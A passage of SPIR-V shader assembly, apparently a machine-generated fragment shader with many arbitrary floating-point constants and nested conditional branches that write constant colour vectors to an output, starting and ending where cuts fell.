57.6500015 %564 = OpConstant %10 4093.68042 %565 = OpConstantComposite %11 %562 %563 %373 %564 %593 = OpTypeVector %10 3 %596 = OpConstant %10 -8109.13037 %607 = OpConstant %10 115.925003 %608 = OpConstant %10 -68.2600021 %609 = OpConstant %10 1657.18225 %610 = OpConstantComposite %11 %607 %53 %608 %609 %611 = OpConstant %10 477.464996 %612 = OpConstant %10 6.5999999 %613 = OpConstant %10 -6.9000001 %614 = OpConstantComposite %11 %117 %611 %612 %613 %620 = OpConstant %10 341.964996 %621 = OpConstant %10 3987.78662 %622 = OpConstant %10 589.815979 %623 = OpConstant %10 6921.74609 %624 = OpConstantComposite %11 %620 %621 %622 %623 %625 = OpConstant %10 1960.90796 %626 = OpConstant %10 -58.4500008 %627 = OpConstant %10 494.385986 %628 = OpConstant %10 2.20000005 %629 = OpConstant %10 826.752014 %630 = OpConstant %10 3.9000001 %631 = OpConstant %10 79.7200012 %632 = OpConstant %10 -6367.82178 %633 = OpConstant %10 -780.13501 %634 = OpConstant %10 -12.0200005 %635 = OpConstant %10 8.5 %636 = OpConstant %10 56.8699989 %637 = OpConstant %10 -1486.82764 %638 = OpConstant %10 -6.69999981 %649 = OpConstant %10 3231157.75 %650 = OpConstant %10 75927.1953 %651 = OpConstant %10 -6671352.5 %652 = OpConstant %10 5661824.5 %653 = OpConstantComposite %11 %649 %650 %651 %652 %656 = OpConstant %10 -3.20000005 %657 = OpConstant %10 -92.4599991 %658 = OpConstant %10 20.1399994 %659 = OpConstant %10 -7463.60352 %660 = OpConstantComposite %11 %656 %657 %658 %659 %663 = OpConstant %10 -4371.70703 %664 = OpConstant %10 5.80000019 %665 = OpConstant %10 66.4000015 %666 = OpConstant %10 47.3499985 %667 = OpConstantComposite %11 %663 %664 %665 %666 %668 = OpConstantComposite %11 %33 %33 %33 %33 %672 = OpConstant %10 -8.25111961 %673 = OpConstant %10 -11.6838789 %674 = OpConstant %10 22.9726524 %675 = OpConstant %10 -2.38062286 %676 = OpConstantComposite %11 %672 %673 %674 %675 %683 = OpConstantComposite %60 %288 %288 %687 = OpConstant %10 78.7799988 %688 = OpConstant %10 67.9800034 %689 = OpConstant %10 -4.19999981 %690 = OpConstant %10 -0.899999976 %691 = OpConstantComposite %11 %687 %688 %689 %690 %694 = OpConstant %10 -1 %695 = OpConstantComposite %11 %288 %288 %694 %288 %701 = OpConstant %10 -3347.21338 %702 = OpConstant %10 -2621.50903 %703 = OpConstant %10 12.8800001 %704 = OpConstant %10 -37.8699989 %705 = OpConstantComposite %11 %701 %702 %703 %704 %708 = OpConstant %10 4.32000017 %709 = OpConstant %10 3134.55835 %710 = OpConstant %10 -4495.28662 %711 = OpConstant %10 -43.6800003 %712 = OpConstantComposite %11 %708 %709 %710 %711 %715 = OpConstant %10 -719.203979 %716 = OpConstant %10 3.4000001 %717 = OpConstant %10 -890.857971 %718 = OpConstantComposite %11 %526 %715 %716 %717 %727 = OpConstantComposite %11 %459 %459 %33 %33 %729 = OpTypeImage %10 2D 0 0 0 1 Unknown %730 = OpTypeSampledImage %729 %731 = OpTypePointer UniformConstant %730 %732 = OpVariable %731 UniformConstant %743 = OpConstantComposite %60 %33 %33 %747 = OpTypeMatrix %11 2 %760 = OpTypeMatrix %593 3 %774 = OpConstantComposite %11 %288 %288 %288 %288 %786 = OpConstantComposite %593 %288 %288 %33 %791 = OpConstant %10 5.16572285 %792 = OpConstant %10 8.94156456 %793 = OpConstantComposite %11 %791 %792 %792 %792 %804 = OpConstant %10 -4028.3269 %805 = OpConstant %10 -19.5799999 %806 = OpConstant %10 -498.690002 %807 = OpConstantComposite %11 %804 %805 %694 %806 %816 = OpConstant %10 -66.3799973 %817 = OpConstant %10 -19.1599998 %818 = OpConstantComposite %11 %816 %817 %716 %526 %823 = OpConstant %10 1304.71582 %830 = OpConstant %10 -2.0999999 %831 = OpConstant %10 -4063.97241 %852 = OpConstant %56 32 %861 = OpConstant %10 -55.3800011 %862 = OpConstant %10 954.484985 %863 = OpConstant %10 74.5 %864 = OpConstantComposite %11 %861 %862 %863 %377 %874 = OpConstant %10 659.491028 %875 = OpConstant %10 5.5 %876 = OpConstantComposite %11 %16 %874 %875 %16 %879 = OpConstant %10 -4754.29004 %880 = OpConstant %10 -45.2799988 %881 = OpConstant %10 -8852.85254 %882 = OpConstant %10 709.833008 %883 = OpConstantComposite %11 %879 %880 %881 %882 %894 = OpConstant %10 620.903015 %895 = OpConstant %10 3515.91699 %896 = OpConstant %10 7.80000019 %897 = OpConstantComposite %11 %507 %894 %895 %896 %898 = OpConstant %10 -8879.52051 %899 = OpConstant %10 8.89999962 %900 = OpConstant %10 -2 %901 = OpConstant %10 3.29999995 %902 = OpConstantComposite %11 %898 %899 %900 %901 %909 = OpConstant %10 -62.6100006 %910 = OpConstant %10 -5.5 %911 = OpConstant %10 3.0999999 %912 = OpConstant %10 59.5600014 %913 = OpConstantComposite %11 %909 %910 %911 %912 %924 = OpConstant %28 11430 %928 = OpConstant %10 -3.9000001 %929 = OpConstant %10 -2.9000001 %930 = OpConstantComposite %11 %690 %928 %929 %137 %938 = OpConstant %10 931.385986 %939 = OpConstant %10 4 %940 = OpConstant %10 5.4000001 %941 = OpConstantComposite %11 %938 %939 %939 %940 %946 = OpConstant %10 2190.01514 %947 = OpConstant %10 75.6699982 %948 = OpConstant %10 -499.69101 %949 = OpConstantComposite %11 %507 %946 %947 %948 %952 = OpConstant %10 -7.69999981 %953 = OpConstant %10 62.0699997 %954 = OpConstant %10 -23.6200008 %955 = OpConstantComposite %11 %952 %953 %401 %954 %961 = OpConstant %10 -917.269104 %962 = OpConstant %10 218.132004 %963 = OpConstant %10 -156.344498 %964 = OpConstant %10 -3.4000001 %965 = OpConstantComposite %11 %961 %962 %963 %964 %966 = OpConstant %10 5303.37598 %967 = OpConstant %10 -6.5999999 %968 = OpConstant %10 4693.44678 %969 = OpConstant %10 4606.78027 %970 = OpConstantComposite %11 %966 %967 %968 %969 %979 = OpConstant %10 -46.2200012 %980 = OpConstant %10 2.70000005 %981 = OpConstant %10 6.19999981 %982 = OpConstantComposite %11 %979 %980 %981 %910 %984 = OpConstant %10 5447.17627 %985 = OpConstant %10 7.19999981 %986 = OpConstant %10 695.124023 %987 = OpConstantComposite %11 %984 %985 %986 %242 %995 = OpConstant %10 7632.2168 %996 = OpConstant %10 -9.39999962 %997 = OpConstant %10 -2.20000005 %998 = OpConstant %10 -704.132996 %999 = OpConstantComposite %11 %995 %996 %997 %998 %1000 = OpConstant %10 -7.0999999 %1001 = OpConstant %10 -669.880005 %1002 = OpConstant %10 -356.02301 %1003 = OpConstantComposite %11 %94 %1000 %1001 %1002 %1010 = OpConstant %10 -63.5699997 %1011 = OpConstant %10 7.69999981 %1012 = OpConstant %10 648.064026 %1013 = OpConstant %10 -5611.25 %1014 = OpConstantComposite %11 %1010 %1011 %1012 %1013 %1020 = OpConstant %10 8.10000038 %1021 = OpConstant %10 -95.1500015 %1022 = OpConstant %10 -4656.646 %1023 = OpConstant %10 -461.648987 %1024 = OpConstantComposite %11 %1020 %1021 %1022 %1023 %1029 = OpConstant %10 215.324005 %1030 = OpConstant %10 -18.4400005 %1031 = OpConstant %10 461.175995 %1032 = OpConstant %10 -784.583984 %1033 = OpConstantComposite %11 %1029 %1030 %1031 %1032 %1034 = OpConstant %10 56196.1211 %1035 = OpConstant %10 -851.89801 %1036 = OpConstant %10 -832.684998 %1037 = OpConstant %10 27775.6699 %1038 = OpConstantComposite %11 %1034 %1035 %1036 %1037 %1041 = OpConstant %10 1.62773645 %1042 = OpConstant %10 -3.11210155 %1043 = OpConstant %10 -1.11801791 %1044 = OpConstant %10 1.47162616 %1045 = OpConstantComposite %11 %1041 %1042 %1043 %1044 %1048 = OpConstant %10 47.5600014 %1049 = OpConstant %10 7294.12207 %1050 = OpConstant %10 -908.062012 %1051 = OpConstant %10 -6.19999981 %1052 = OpConstantComposite %11 %1048 %1049 %1050 %1051 %1109 = OpConstant %10 44.2000008 %1110 = OpConstant %10 4.5999999 %1111 = OpConstant %10 4.80000019 %1112 = OpConstant %10 -9.60000038 %1113 = OpConstantComposite %11 %1109 %1110 %1111 %1112 %1116 = OpConstant %10 -851.440002 %1117 = OpConstant %10 7452.34277 %1118 = OpConstant %10 45.5999985 %1119 = OpConstantComposite %11 %288 %1116 %1117 %1118 %1136 = OpConstant %10 9.80000019 %1137 = OpConstantComposite %11 %612 %396 %537 %1136 %1138 = OpConstant %10 -6615.02393 %1139 = OpConstant %10 -7855.19971 %1140 = OpConstant %10 695.117981 %1141 = OpConstantComposite %11 %1138 %1139 %142 %1140 %1142 = OpConstant %10 -52.5359993 %1143 = OpConstant %10 -66.8639984 %1144 = OpConstant %10 31136.5117 %1145 = OpConstant %10 143.279999 %1146 = OpConstantComposite %11 %1142 %1143 %1144 %1145 %1151 = OpConstant %10 -8250.10156 %1152 = OpConstant %10 68.8099976 %1153 = OpConstantComposite %11 %397 %1151 %612 %1152 %1154 = OpConstant %10 -7.4000001 %1155 = OpConstant %10 -2822.58325 %1156 = OpConstant %10 -2180.9541 %1157 = OpConstant %10 -1676.50439 %1158 = OpConstantComposite %11 %1154 %1155 %1156 %1157 %1161 = OpConstant %10 217.132996 %1162 = OpConstant %10 92.6900024 %1163 = OpConstant %10 9397.37402 %1164 = OpConstant %10 -929.72998 %1165 = OpConstantComposite %11 %1161 %1162 %1163 %1164 %1168 = OpConstant %10 -22.8700008 %1169 = OpConstant %10 -2.79999995 %1170 = OpConstant %10 -98.5299988 %1171 = OpConstant %10 -5.80000019 %1172 = OpConstantComposite %11 %1168 %1169 %1170 %1171 %1177 = OpConstant %10 372.036987 %1178 = OpConstant %10 -948.564026 %1179 = OpConstant %10 984.640991 %1180 = OpConstantComposite %11 %1178 %1179 %141 %716 %1181 = OpConstant %10 17.4699993 %1182 = OpConstant %10 -59.3499985 %1183 = OpConstant %10 -607.171997 %1184 = OpConstant %10 6.4000001 %1185 = OpConstantComposite %11 %1181 %1182 %1183 %1184 %1186 = OpConstant %10 -669.062988 %1187 = OpConstant %10 -7472.56055 %1188 = OpConstant %10 -718.521973 %1189 = OpConstantComposite %11 %1186 %1187 %1188 %939 %1190 = OpConstant %10 -14.4899998 %1191 = OpConstant %10 894.177002 %1192 = OpConstant %10 -9041.3457 %1193 = OpConstantComposite %11 %1190 %402 %1191 %1192 %1194 = OpConstantComposite %552 %1180 %1185 %1189 %1193 %1195 = OpConstant %56 2 %1206 = OpConstant %10 -5.69999981 %1207 = OpConstant %10 32.1599998 %1208 = OpConstant %10 -89.7600021 %1209 = OpConstant %10 -32.7900009 %1210 = OpConstantComposite %11 %1206 %1207 %1208 %1209 %1211 = OpConstant %10 -7697.65723 %1212 = OpConstant %10 -12.9799995 %1213 = OpConstant %10 79.0400009 %1214 = OpConstantComposite %11 %1211 %1212 %1213 %896 %1232 = OpConstant %10 4917.76758 %1233 = OpConstant %10 -55.0900002 %1234 = OpConstant %10 9.69999981 %1235 = OpConstant %10 2682.02441 %1236 = OpConstantComposite %11 %1232 %1233 %1234 %1235 %1244 = OpConstant %10 40.7299995 %1245 = OpConstant %10 -8695.84961 %1246 = OpConstant %10 3721.36304 %1247 = OpConstant %10 457.781006 %1248 = OpConstantComposite %11 %1244 %1245 %1246 %1247 %1249 = OpConstant %10 78.4000015 %1250 = OpConstant %10 -879.682983 %1251 = OpConstantComposite %11 %141 %1249 %1250 %522 %1258 = OpConstant %10 -0.00140097796 %1259 = OpConstant %10 -0.999991298 %1260 = OpConstant %10 0.000389160559 %1261 = OpConstant %10 -0.00391690107 %1262 = OpConstantComposite %11 %1258 %1259 %1260 %1261 %1270 = OpConstant %10 -7 %1271 = OpConstant %10 -327.505005 %1272 = OpConstantComposite %11 %377 %288 %1270 %1271 %1273 = OpConstant %10 -54.7528496 %1274 = OpConstant %10 -147.256195 %1275 = OpConstant %10 -6.07088327 %1276 = OpConstant %10 -0.0890117884 %1277 = OpConstantComposite %11 %1273 %1274 %1275 %1276 %1281 = OpConstant %10 45.0900002 %1282 = OpConstant %10 -17.0900002 %1283 = OpConstant %10 -6856.59375 %1284 = OpConstantComposite %11 %1281 %1282 %401 %1283 %1287 = OpConstant %10 0.00224286783 %1288 = OpConstantComposite %11 %33 %1287 %33 %156 %1294 = OpConstant %10 0.990150094 %1295 = OpConstant %10 0.99982661 %1296 = OpConstantComposite %11 %1294 %288 %1295 %288 %1299 = OpConstant %10 -20.7900009 %1300 = OpConstant %10 1.39999998 %1301 = OpConstant %10 -8968.2207 %1302 = OpConstantComposite %11 %1299 %1300 %1301 %981 %1312 = OpConstant %10 202.320007 %1313 = OpConstant %10 598.890991 %1314 = OpConstantComposite %11 %102 %940 %1312 %1313 %1320 = OpConstant %10 -57.6500015 %1321 = OpConstant %10 33.8199997 %1322 = OpConstant %10 -495.059998 %1323 = OpConstantComposite %11 %94 %1320 %1321 %1322 %1324 = OpConstantComposite %11 %459 %459 %459 %459 %1329 = OpConstant %10 76.0599976 %1330 = OpConstant %10 -2310.84766 %1331 = OpConstant %10 -9790.46875 %1332 = OpConstant %10 -1411.28955 %1333 = OpConstantComposite %11 %1329 %1330 %1331 %1332 %1342 = OpConstant %10 9528.77148 %1343 = OpConstant %10 -630.669006 %1344 = OpConstant %10 -576.257996 %1345 = OpConstantComposite %11 %1342 %1343 %1344 %1051 %1347 = OpConstant %10 1274.43652 %1348 = OpConstant %10 523.552979 %1349 = OpConstant %10 4.9000001 %1350 = OpConstant %10 -7604.65088 %1351 = OpConstantComposite %11 %1347 %1348 %1349 %1350 %1359 = OpConstant %10 7352.64941 %1360 = OpConstant %10 93.1200027 %1361 = OpConstantComposite %11 %863 %537 %1359 %1360 %1362 = OpConstant %10 -80.6999969 %1363 = OpConstant %10 -268.46701 %1364 = OpConstant %10 -418.671997 %1365 = OpConstantComposite %11 %401 %1362 %1363 %1364 %1373 = OpConstant %10 1.10000002 %1374 = OpConstant %10 6572.25977 %1375 = OpConstant %10 434.072998 %1376 = OpConstant %10 413.347992 %1377 = OpConstantComposite %11 %1373 %1374 %1375 %1376 %1378 = OpConstantComposite %11 %33 %288 %288 %33 %1383 = OpConstant %10 -16.9599991 %1384 = OpConstant %10 8.69999981 %1385 = OpConstant %10 4817.12256 %1386 = OpConstant %10 314.39801 %1387 = OpConstantComposite %11 %1383 %1384 %1385 %1386 %1388 = OpConstant %10 5974.21729 %1389 = OpConstant %10 10.8900003 %1391 = OpConstant %10 -75.5999985 %1398 = OpTypeVector %56 4 %1399 = OpConstant %56 -75719 %1400 = OpConstant %56 -51700 %1401 = OpConstant %56 83423 %1402 = OpConstant %56 -62351 %1403 = OpConstantComposite %1398 %1399 %1400 %1401 %1402 %1424 = OpConstant %28 2 %1427 = OpConstant %28 3 %1435 = OpConstant %10 58.5200005 %1436 = OpConstant %10 -103.487999 %1437 = OpConstant %10 -358.428009 %1438 = OpConstant %10 495.557007 %1439 = OpConstantComposite %11 %1435 %1436 %1437 %1438 %1444 = OpConstant %10 -7.5 %1445 = OpConstant %10 0.200000003 %1446 = OpConstantComposite %11 %1444 %258 %1445 %86 %1450 = OpConstant %10 0.851999998 %1451 = OpConstant %10 0.986999989 %1452 = OpConstant %10 0.409000009 %1453 = OpConstant %10 0.244900003 %1454 = OpConstantComposite %11 %1450 %1451 %1452 %1453 %1461 = OpConstant %10 63.0800018 %1462 = OpConstant %10 -8943.64551 %1463 = OpConstant %10 -4.80000019 %1464 = OpConstant %10 -278.675995 %1465 = OpConstantComposite %11 %1461 %1462 %1463 %1464 %1466 = OpConstant %10 -15.6000004 %1467 = OpConstant %10 6.5 %1468 = OpConstant %10 768.125 %1469 = OpConstantComposite %11 %1466 %1467 %1468 %1270 %1475 = OpConstant %10 -865.687012 %1476 = OpConstant %10 -7146.79346 %1477 = OpConstant %10 -729.890015 %1478 = OpConstant %10 58.7599983 %1479 = OpConstantComposite %11 %1475 %1476 %1477 %1478 %1483 = OpConstant %10 -0.0338866562 %1484 = OpConstant %10 -0 %1485 = OpConstant %10 -0.0846469775 %1486 = OpConstant %10 -0.00944306049 %1487 = OpConstantComposite %11 %1483 %1484 %1485 %1486 %1489 = OpConstant %56 1 %1493 = OpConstant %10 -270.56601 %1494 = OpConstant %10 870.54303 %1495 = OpConstantComposite %11 %1493 %1494 %402 %307 %1508 = OpConstant %10 -6.5 %1509 = OpConstant %10 -5014.8125 %1510 = OpConstantComposite %11 %996 %1508 %1509 %307 %1513 = OpConstant %10 -0.5 %1514 = OpConstant %10 -77.1699982 %1515 = OpConstantComposite %11 %1513 %396 %1514 %896 %1516 = OpConstant %10 -953 %1517 = OpConstant %10 -22 %1518 = OpConstant %10 -6 %1519 = OpConstantComposite %11 %537 %1516 %1517 %1518 %1543 = OpConstant %10 -45.1199989 %1544 = OpConstant %10 -45.9399986 %1545 = OpConstant %10 -844.758972 %1546 = OpConstantComposite %11 %1543 %377 %1544 %1545 %1547 = OpConstant %10 378.819 %1548 = OpConstant %10 1.29999995 %1549 = OpConstant %10 869.065002 %1550 = OpConstant %10 -47.5699997 %1551 = OpConstantComposite %11 %1547 %1548 %1549 %1550 %1552 = OpConstant %10 -29.0400009 %1553 = OpConstant %10 -1400.16968 %1554 = OpConstant %10 0.899999976 %1555 = OpConstantComposite %11 %985 %1552 %1553 %1554 %1556 = OpConstant %10 7938.44678 %1557 = OpConstant %10 32.2999992 %1558 = OpConstant %10 -4343.56445 %1559 = OpConstant %10 -1830.64246 %1560 = OpConstantComposite %11 %1556 %1557 %1558 %1559 %1570 = OpConstant %10 -50.4099998 %1571 = OpConstant %10 2.5 %1572 = OpConstant %10 9.19999981 %1573 = OpConstant %10 990.122009 %1574 = OpConstantComposite %11 %1570 %1571 %1572 %1573 %1575 = OpConstant %10 9091.68848 %1576 = OpConstant %10 -580.661011 %1577 = OpConstantComposite %11 %830 %16 %1575 %1576 %1584 = OpConstant %10 -5 %1585 = OpConstant %10 -1124.18054 %1586 = OpConstantComposite %11 %539 %1584 %1585 %1484 %1587 = OpConstant %10 550.905029 %1588 = OpConstant %10 290.431 %1589 = OpConstant %10 -817.823975 %1590 = OpConstantComposite %11 %522 %1587 %1588 %1589 %1593 = OpConstant %10 5945.34033 %1594 = OpConstant %10 8253.92285 %1595 = OpConstant %10 -97.7699966 %1596 = OpConstantComposite %11 %1593 %1594 %401 %1595 %1597 = OpConstant %10 1.89999998 %1598 = OpConstant %10 5754.00293 %1599 = OpConstant %10 9585.29785 %1600 = OpConstantComposite %11 %396 %1597 %1598 %1599 %1613 = OpConstant %10 20126.3008 %1614 = OpConstant %10 15909.4014 %1615 = OpConstant %10 17279.543 %1616 = OpConstant %10 20597.1973 %1617 = OpConstantComposite %11 %1613 %1614 %1615 %1616 %1632 = OpTypeVector %28 4 %1633 = OpConstant %28 101559 %1634 = OpConstant %28 89433 %1635 = OpConstant %28 167253 %1636 = OpConstant %28 27506 %1637 = OpConstantComposite %1632 %1633 %1634 %1635 %1636 %1639 = OpConstant %10 89.2600021 %1640 = OpConstant %10 -2.5 %1641 = OpConstant %10 -9774.24512 %1642 = OpConstant %10 8.39999962 %1643 = OpConstantComposite %11 %1639 %1640 %1641 %1642 %1651 = OpConstant %10 -98.1200027 %1652 = OpConstant %10 1.60000002 %1653 = OpConstant %10 -72.9899979 %1654 = OpConstantComposite %11 %1171 %1651 %1652 %1653 %1660 = OpConstant %10 -211.733994 %1661 = OpConstant %10 53.7080002 %1662 = OpConstantComposite %11 %1660 %33 %1661 %33 %1668 = OpConstant %10 -869.39801 %1669 = OpConstant %10 -72.7699966 %1670 = OpConstant %10 -164.787994 %1671 = OpConstantComposite %11 %1668 %1669 %377 %1670 %1680 = OpConstant %10 -9382.77148 %1681 = OpConstant %10 396.367004 %1682 = OpConstant %10 -6.0999999 %1683 = OpConstantComposite %11 %1680 %964 %1681 %1682 %1686 = OpConstant %10 80.5899963 %1687 = OpConstant %10 72.7799988 %1688 = OpConstant %10 4636.75635 %1689 = OpConstantComposite %11 %1686 %1687 %1688 %206 %1698 = OpConstant %10 -8 %1699 = OpConstant %10 19.4899998 %1700 = OpConstantComposite %11 %1698 %1699 %522 %1136 %1703 = OpConstant %10 7698.82861 %1704 = OpConstant %10 -7660.6875 %1705 = OpConstantComposite %11 %92 %1703 %1571 %1704 %1709 = OpConstant %10 0.03125 %1718 = OpConstantComposite %11 %33 %288 %288 %288 %4 = OpFunction %2 None %3 %5 = OpLabel %58 = OpVariable %57 Function %510 = OpVariable %57 Function %512 = OpVariable %511 Function %536 = OpVariable %535 Function %541 = OpVariable %540 Function %547 = OpVariable %540 Function %677 = OpVariable %511 Function %728 = OpVariable %535 Function %819 = OpVariable %535 Function %1062 = OpVariable %540 Function %1080 = OpVariable %540 Function %1229 = OpVariable %540 Function %1339 = OpVariable %540 Function OpSelectionMerge %9 None OpBranchConditional %7 %8 %9 %8 = OpLabel OpStore %13 %18 OpBranch %9 %9 = OpLabel OpSelectionMerge %20 None OpBranchConditional %7 %19 %20 %19 = OpLabel OpStore %13 %25 OpBranch %20 %20 = OpLabel %31 = OpAccessChain %30 %27 %29 %32 = OpLoad %10 %31 %34 = OpFOrdLessThan %6 %32 %33 OpSelectionMerge %36 None OpBranchConditional %34 %35 %36 %35 = OpLabel OpSelectionMerge %38 None OpBranchConditional %7 %37 %38 %37 = OpLabel OpStore %13 %43 %44 = OpAccessChain %30 %27 %29 %45 = OpLoad %10 %44 %46 = OpFOrdLessThan %6 %45 %33 OpSelectionMerge %48 None OpBranchConditional %46 %47 %48 %47 = OpLabel OpStore %13 %50 OpBranch %48 %48 = OpLabel OpBranch %38 %38 = OpLabel OpStore %13 %55 OpBranch %36 %36 = OpLabel OpStore %58 %59 %66 = OpAccessChain %65 %63 %64 %29 %67 = OpLoad %10 %66 %69 = OpAccessChain %65 %63 %64 %68 %70 = OpLoad %10 %69 %71 = OpFOrdGreaterThan %6 %67 %70 OpSelectionMerge %73 None OpBranchConditional %71 %72 %73 %72 = OpLabel OpStore %13 %78 OpBranch %73 %73 = OpLabel OpSelectionMerge %80 None OpBranchConditional %7 %79 %80 %79 = OpLabel OpSelectionMerge %82 None OpBranchConditional %7 %81 %82 %81 = OpLabel OpStore %13 %87 OpBranch %82 %82 = OpLabel OpSelectionMerge %89 None OpBranchConditional %7 %88 %89 %88 = OpLabel OpSelectionMerge %91 None OpBranchConditional %7 %90 %91 %90 = OpLabel OpStore %13 %96 OpBranch %91 %91 = OpLabel OpStore %13 %99 OpBranch %89 %89 = OpLabel OpStore %13 %104 OpSelectionMerge %106 None OpBranchConditional %7 %105 %106 %105 = OpLabel OpStore %13 %111 OpSelectionMerge %113 None OpBranchConditional %7 %112 %113 %112 = OpLabel OpStore %13 %118 OpBranch %113 %113 = OpLabel OpBranch %106 %106 = OpLabel OpSelectionMerge %120 None OpBranchConditional %7 %119 %120 %119 = OpLabel OpStore %13 %124 OpBranch %120 %120 = OpLabel OpBranch %80 %80 = OpLabel OpSelectionMerge %126 None OpBranchConditional %7 %125 %126 %125 = OpLabel OpSelectionMerge %128 None OpBranchConditional %7 %127 %128 %127 = OpLabel OpStore %13 %133 OpBranch %128 %128 = OpLabel OpStore %13 %138 OpBranch %126 %126 = OpLabel OpSelectionMerge %140 None OpBranchConditional %7 %139 %140 %139 = OpLabel OpStore %13 %145 OpSelectionMerge %147 None OpBranchConditional %7 %146 %147 %146 = OpLabel OpStore %13 %152 OpBranch %147 %147 = OpLabel OpBranch %140 %140 = OpLabel OpSelectionMerge %154 None OpBranchConditional %7 %153 %154 %153 = OpLabel OpStore %13 %157 OpSelectionMerge %159 None OpBranchConditional %7 %158 %159 %158 = OpLabel OpStore %13 %164 OpBranch %159 %159 = OpLabel OpBranch %154 %154 = OpLabel %165 = OpAccessChain %30 %27 %29 %166 = OpLoad %10 %165 %167 = OpFOrdLessThan %6 %166 %33 %168 = OpLogicalOr %6 %167 %7 %169 = OpLogicalNot %6 %168 %170 = OpLogicalNot %6 %169 OpSelectionMerge %172 None OpBranchConditional %170 %171 %172 %171 = OpLabel OpStore %13 %176 OpSelectionMerge %178 None OpBranchConditional %7 %177 %178 %177 = OpLabel OpStore %13 %183 OpBranch %178 %178 = OpLabel OpBranch %172 %172 = OpLabel OpSelectionMerge %185 None OpBranchConditional %7 %184 %185 %184 = OpLabel %187 = OpAccessChain %65 %63 %64 %29 %188 = OpLoad %10 %187 %189 = OpAccessChain %65 %63 %64 %68 %190 = OpLoad %10 %189 %191 = OpAccessChain %65 %63 %64 %68 %192 = OpLoad %10 %191 %193 = OpExtInst %10 %1 FMin %190 %192 %194 = OpFOrdGreaterThan %6 %188 %193 %196 = OpCompositeConstruct %195 %186 %7 %194 %197 = OpCompositeExtract %6 %196 0 %209 = OpCompositeConstruct %208 %197 %197 %197 %197 %210 = OpSelect %11 %209 %202 %207 %212 = OpCompositeConstruct %11 %211 %211 %211 %211 %213 = OpFAdd %11 %210 %212 OpStore %13 %213 OpBranch %185 %185 = OpLabel %214 = OpAccessChain %30 %27 %29 %215 = OpLoad %10 %214 %216 = OpFOrdLessThan %6 %215 %33 OpSelectionMerge %218 None OpBranchConditional %216 %217 %218 %217 = OpLabel OpStore %13 %223 OpBranch %218 %218 = OpLabel %224 = OpAccessChain %30 %27 %29 %225 = OpLoad %10 %224 %226 = OpFOrdLessThan %6 %225 %33 OpSelectionMerge %228 None OpBranchConditional %226 %227 %228 %227 = OpLabel OpStore %13 %233 OpSelectionMerge %235 None OpBranchConditional %7 %234 %235 %234 = OpLabel %236 = OpAccessChain %30 %27 %29 %237 = OpLoad %10 %236 %238 = OpFOrdLessThan %6 %237 %33 OpSelectionMerge %240 None OpBranchConditional %238 %239 %240 %239 = OpLabel OpStore %13 %245 OpBranch %240 %240 = OpLabel OpStore %13 %250 %251 = OpAccessChain %30 %27 %29 %252 = OpLoad %10 %251 %253 = OpFOrdLessThan %6 %252 %33 OpSelectionMerge %255 None OpBranchConditional %253 %254 %255 %254 = OpLabel OpStore %13 %260 OpBranch %255 %255 = OpLabel OpBranch %235 %235 = OpLabel OpBranch %228 %228 = OpLabel %261 = OpAccessChain %30 %27 %68 %262 = OpLoad %10 %261 %263 = OpFOrdLessThan %6 %262 %33 OpSelectionMerge %265 None OpBranchConditional %263 %264 %265 %264 = OpLabel OpStore %13 %270 OpSelectionMerge %272 None OpBranchConditional %7 %271 %272 %271 = OpLabel OpStore %13 %276 OpBranch %272 %272 = OpLabel OpBranch %265 %265 = OpLabel %277 = OpAccessChain %65 %63 %64 %29 %278 = OpLoad %10 %277 %279 = OpAccessChain %65 %63 %64 %68 %280 = OpLoad %10 %279 %281 = OpFOrdLessThan %6 %278 %280 OpSelectionMerge %283 None OpBranchConditional %281 %282 %283 %282 = OpLabel %284 = OpAccessChain %65 %63 %64 %29 %285 = OpLoad %10 %284 %286 = OpAccessChain %65 %63 %64 %68 %287 = OpLoad %10 %286 %290 = OpCompositeConstruct %60 %287 %33 %291 = OpCompositeConstruct %60 %288 %33 %292 = OpCompositeConstruct %60 %33 %288 %293 = OpCompositeConstruct %289 %290 %291 %292 %294 = OpCompositeExtract %10 %293 0 0 %295 = OpFOrdGreaterThan %6 %285 %294 OpBranch %283 %283 = OpLabel %296 = OpPhi %6 %281 %265 %295 %282 OpSelectionMerge %298 None OpBranchConditional %296 %297 %298 %297 = OpLabel OpSelectionMerge %300 None OpBranchConditional %7 %299 %300 %299 = OpLabel OpStore %13 %305 OpBranch %300 %300 = OpLabel OpStore %13 %310 OpBranch %298 %298 = OpLabel %311 = OpAccessChain %65 %63 %64 %29 %312 = OpLoad %10 %311 %313 = OpAccessChain %65 %63 %64 %68 %314 = OpLoad %10 %313 %315 = OpFOrdGreaterThan %6 %312 %314 OpSelectionMerge %317 None OpBranchConditional %315 %316 %317 %316 = OpLabel OpStore %13 %322 OpBranch %317 %317 = OpLabel OpSelectionMerge %324 None OpBranchConditional %7 %323 %324 %323 = OpLabel OpStore %13 %329 OpBranch %324 %324 = OpLabel OpSelectionMerge %331 None OpBranchConditional %7 %330 %331 %330 = OpLabel OpStore %13 %335 OpBranch %331 %331 = OpLabel %336 = OpAccessChain %30 %27 %68 %337 = OpLoad %10 %336 %338 = OpFOrdLessThan %6 %337 %33 OpSelectionMerge %340 None OpBranchConditional %338 %339 %340 %339 = OpLabel OpSelectionMerge %342 None OpBranchConditional %7 %341 %342 %341 = OpLabel %343 = OpAccessChain %30 %27 %68 %344 = OpLoad %10 %343 %345 = OpFOrdLessThan %6 %344 %33 %346 = OpLogicalAnd %6 %345 %186 %347 = OpCompositeConstruct %195 %346 %7 %186 %348 = OpCompositeExtract %6 %347 0 OpSelectionMerge %350 None OpBranchConditional %348 %349 %350 %349 = OpLabel %351 = OpAccessChain %30 %27 %68 %352 = OpLoad %10 %351 %353 = OpFOrdLessThan %6 %352 %33 %354 = OpAccessChain %65 %63 %64 %29 %355 = OpLoad %10 %354 %356 = OpAccessChain %65 %63 %64 %68 %357 = OpLoad %10 %356 %358 = OpFOrdGreaterThan %6 %355 %357 %360 = OpCompositeConstruct %359 %353 %358 %361 = OpCompositeExtract %6 %360 0 OpSelectionMerge %363 None OpBranchConditional %361 %362 %363 %362 = OpLabel OpStore %13 %368 OpSelectionMerge %370 None OpBranchConditional %7 %369 %370 %369 = OpLabel OpStore %13 %375 OpBranch %370 %370 = OpLabel OpBranch %363 %363 = OpLabel OpStore %13 %379 OpBranch %350 %350 = OpLabel OpStore %13 %384 OpBranch %342 %342 = OpLabel OpStore %13 %389 %390 = OpAccessChain %30 %27 %29 %391 = OpLoad %10 %390 %392 = OpFOrdLessThan %6 %391 %33 OpSelectionMerge %394 None OpBranchConditional %392 %393 %394 %393 = OpLabel OpStore %13 %398 OpBranch %394 %394 = OpLabel 